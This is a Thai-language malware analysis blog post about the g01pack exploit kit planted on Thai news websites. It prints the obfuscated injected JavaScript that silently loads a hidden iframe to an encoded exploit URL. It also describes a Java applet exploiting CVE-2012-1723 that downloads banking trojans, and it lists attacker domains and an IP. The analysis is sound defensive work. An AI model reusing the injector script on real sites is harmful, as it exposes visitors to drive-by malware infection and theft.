content-image
ARTICLES | 01 March 2021

Banking Trojan Hunting — g01pack's fundamental analysis

author-image

Incognito Lab

1-2 วันที่ผ่านมาผมคิดว่าหลาย ๆ คนที่เข้าไปดูข่าวออนไลน์บ่อย ๆ อาจจะตกใจเนื่องจาก Google และ Google Chrome มีการแจ้งเตือนภัยคุกคามว่า website ดังกล่าวอาจเป็นอันตรายต่อคอมพิวเตอร์ของผู้ใช้งาน

ในวันถัดมาวันที่ 13 มิถุนายน 2556 พบว่า website แห่งเดิมไม่พบปัญหา แต่พบปัญหากับ Homepage ของนสพ.อีกฉบับและสำนักข่าวอีกแห่งหนึ่งแทน

เราจึงค้นหาคำตอบด้วยการใช้ Service ที่ทำการตรวสอบ web-based malware ที่ชื่อ urlquery.net ซึ่งเป็น Service ที่ให้บริการฟรีครับ(กรณีทำ Bulk query แบบปริมาณมาก ๆ อาจจะช้านิดหน่อย คิดว่าอีกไม่นานจะมี API ออกมาให้เรียกใช้งานได้ง่ายขึ้นครับ ไม่ต้องไปเขียน script เพื่อไปทำ Bulk query เอง) ผลของ urlquery ทำให้เราตกใจเป็นอย่างยิ่งเนื่องจากพบ Exploitation Kit* ที่ชื่อ g01pack

Note:

  1. ทำความเข้าใจกับ Exploitation kit ได้ที่บทความBlog preview image

    Malware Fighting Technique — DNS Sinkhole

    1 ในเทคนิคการป้องกัน malware ที่ implement ได้ง่ายและมีประสิทธิผลสูงสำหรับงาน Incident Handling ก็คือเทคนิคที่เรียกว่า DNS Sinkhole

  2. พวก Cyber crime (ซึ่งทุกวันนี้มันกลายเป็นขบวนการใหญ่ของโลก–Organised Cyber Crime–ไปแล้ว แก๊งค์พวกนี้มีการเคลื่อนไหวอยู่ในประเทศไทยด้วย–ที่เราเห็นตามข่าวบ่อย ๆ เรื่องการโจมตี Internet Banking ของธนาคารต่าง ๆ นั่นแหละครับ) มี Crime-as-a-Service ที่บริการการก่ออาชญากรรมทุกรูปแบบ ข้อมูลเพิ่มเติมสามารถดูได้จาก Cybercriminals Today Mirror Legitimate Business Processes ของ Fortinet

เราเองใช้เวลาตามหา Active Exploitation Kit ที่วางโจมตีใน website ภายในประเทศสักพักแล้วครับ แต่ทุก ๆ ครั้งที่หาเจอ Page ที่เป็น Exploit kit ก็หายไปบ้าง, invalid domain name บ้าง เราเจ็บใจพอสมควรเนื่องจากแก๊งค์พวกนี้ขโมยเงินในประเทศของเราออกไปเยอะทีเดียว แต่วันนี้พวกเค้าทำการ Plant exploitation kit บน page หนังสือพิมพ์ครับและพร้อม ๆ กับมีข่าวเรื่อง Banking Trojan ที่โจมตีอีกระลอก(ลองไปดูที่ http://pantip.com/topic/30599799 และการแจ้งเตือนบนหน้า Internet Banking ของแต่ละธนาคาร)

ครั้งนี้เราได้พบกับ Exploitation Code ที่ Active ตัวจริงแล้วครับ เรามาวิเคราะห์ g01pack แบบง่าย ๆ กันดีกว่า

Analysis

เริ่มแรกเลยก็ให้สังเกตว่ามีการแทรก javascript ประหลาด ๆ ในหน้า Homepage ของนสพ.แห่งนั้น

ให้เรานำตัวเลขดังกล่าวมาประกอบกัน จากนั้นก็ Decode ด้วย function ของมันเอง ใครงงลองไปดู Decoder ที่เราดัดแปลงจาก Script ดังกล่าวได้ที่ http://pastebin.com/KWPfz3mF ถ้าหากเราพยายามอ่าน Soucecode ของมัน(ที่ชื่อประหลาด ๆ ดูเละ ๆ นั่นแหละครับ**)จะพบว่ามันพยายามทำการสร้าง iframe ขนาด 1×1 แบบ hidden และ src ของมันถูก encode เอาไว้ซึ่งเปลี่ยนแปลงได้ตลอด(สาเหตุที่ตามหายาก) หลังจาก Decode ก็จะพบว่ามันมีการเรียกไปที่

Note: code ที่ดูประหลาด ๆ แบบนี้จงใจทำขึ้นเพื่อหลีกเลี่ยงการตรวจจับ และป้องกันไม่ให้ใครไปทำความเข้าใจการทำงานของมันง่าย ๆ ครับ กระบวนการแบบนี้ทางเทคนิคเรียกว่า code ถูก obfuscated

Response จะเป็น obfuscated javascript ที่เป็น Landing Page อีกต่อหนึ่ง

;(function () {
  var fYN = document,
    K = { i: 'rame' },
    NNC,
    E
  function GG(L, Y) {
    return (L.src = Y)
  }
  function D(m) {
    m += '58,41,43,51,-10,56,48,56,7,41,44,62,45,58,60,5,-3,-3'
    m = m.split(',')
    t = ''
    for (i = 0; i < m.length - 1; i++) {
      n = parseInt(m[0])
      n += parseInt(m[i + 1])
      t += String.fromCharCode(n)
    }
    return t
  }
  if (
    /(Windows)/.test(navigator.userAgent) &&
    /(MSIE)/.test(navigator.userAgent)
  ) {
    try {
      NNC =
        '56,48,60,60,56,2,-9,-9,43,66,64,43,64,66,-10,60,55,56,49,43,41,52,59,'
      E = md()
      TT = D(NNC)
      GG(E, TT)
    } catch (e) {}
  }
  function l() {
    return 'if' + K.i
  }
  function md() {
    var tt = document.createElement(l())
    tt.width = '1px'
    NNC +=
      '49,53,61,52,41,60,49,55,54,59,-10,54,45,60,-9,43,56,41,54,45,52,39,46,49,52,45,-9,43,'
    tt.height = '1px'
    tt.style['visibility'] = 'hidden'
    try {
      fYN['body']['appendChild'](tt)
    } catch (P) {
      try {
        document.write('')
        document.body.appendChild(tt)
      } catch (uWin) {}
    }
    return tt
  }
})()

ข้อความที่ปรากฎเป็นบทที่คัดมาจากเรื่อง Hamlet ของ William Shakespeare แต่มีข้อความแปลก ๆ ด้านบนแทรกเข้ามา และมีบางบรรทัดของที่หายไป(ตอนนี้เรายังไม่เข้าใจว่ามันหมายถึงอะไรเช่นกัน)

นอกเหนือจากนั้นยังพบว่ามีการแทรก applet แถมมาให้อีกด้วย ลองดู applet นั้นได้ที่ http://pastebin.com/q52Pi7Kx
หากลองดูให้ดี จะเห็น pattern ซ้ำ ๆ จริงมั้ยครับ??

หลังจากที่ applet ทำงานมันจะพยายาม break security policy ดูที่ sourcecode โดยอาศัยช่องโหว่ CVE-2012-1723 ที่ทำการโจมตี Java

อีกทั้งยังทำงานเป็นตัว Loader ที่พยายามทำการ download payload ต่าง ๆ เช่น banking trojan หรือ malware ประเภทอื่น ๆ มา deploy เพิ่มเติม

เราทำการทดสอบ applet ตัวนี้กับ virustotal และพบว่า Evasion ของมันไม่ธรรมดาครับ ผลของมันคือ Detection ratio: 3/47 ซึ่งถือว่าหลบหลีกได้ดีมาก

การแพร่ Exploitation Kit ผ่าน website ข่าวที่มีคนเข้าไปดูเป็นจำนวนมาก เป็นสิ่งที่น่าเป็นห่วงอย่างยิ่ง เราลองสังเกตพบว่าส่วนใหญ่มาจาก ads ที่อยู่ตาม website ต่าง ๆ มันคอยซ่อนตัว รอโอกาสโจมตี พอเราจะเข้าไปตรวจสอบมันก็หายไป อีกทั้งยังมีการปิด-เปิด-เปลี่ยน domain name บ่อยมาก

สำหรับผู้ใช้งานทั่วไป

  1. อ่านบทความของ Thaicert (https://www.thaicert.or.th/alerts/user/2013/al2013us008.html)
  2. สำหรับการใช้งานทั่วไป ส่วนใหญ่ java plugin ไม่จำเป็นต้องใช้งานอยู่แล้ว แนะนำว่าปิดการทำงานของ java ไปเลยดีกว่าครับ เพราะช่วงนี้เสี่ยง
  3. ลองดูว่าเครื่องของเรามี patch อะไรที่ต้อง update บ้าง โดยสามารถใช้บริการจากที่นี่ได้เลยครับ Rapid7 Browser Scan ฟรี

สำหรับผู้ดูแลระบบและผู้สนใจ

  1. อ่านบทความของ Thaicert (https://www.thaicert.or.th/alerts/user/2013/al2013us008.html)
  2. ลอง review logs โดยด่วนว่ามี users คนไหนที่ไป visit website ดังกล่าวบ้าง ซึ่งให้ดูจาก Firewall logs ก็พอครับ เพราะ resolve ไปที่
IP: 195.3.147.229 ใน Latvia
czxcxz.topicalsimulations.net
zxcasdw.gamesdropboxs.biz
zzzaaa.megabytessimilarity.net

ทั้ง 3 domain name ถูก registered วันที่ 10,11 และ 12 มิถุนายนที่ผ่านมาสด ๆ ร้อน ๆ เลย

  1. ใช้ Window Sysinternals กับเครื่องที่สงสัยว่าจะถูกโจมตี โดยให้เปิด Browser ขึ้นมาก่อน อีกวิธีคือให้ดู Hook ของ Process ของ Browser ด้วย ถ้าพบว่า function ที่สำคัญถูก Hook เช่นนี้เครื่องนั้นถูกโจมตีแน่นอน
  2. อ่านบทความเรื่อง Multi-Stage Exploit Attacks for More Effective Malware Delivery ของ Trusteer

ขอให้ทุกคนปลอดภัย Stay safe!!

logologo

INCOGNITO LAB CO., LTD.

38 Soi Petchakasem 30, Petchakasem Road, Pak Khlong Phasi Charoen, Phasi Charoen, Bangkok 10160

©2025 Incognito Lab Co., Ltd. All rights reserved

Terms & Conditions Privacy Policy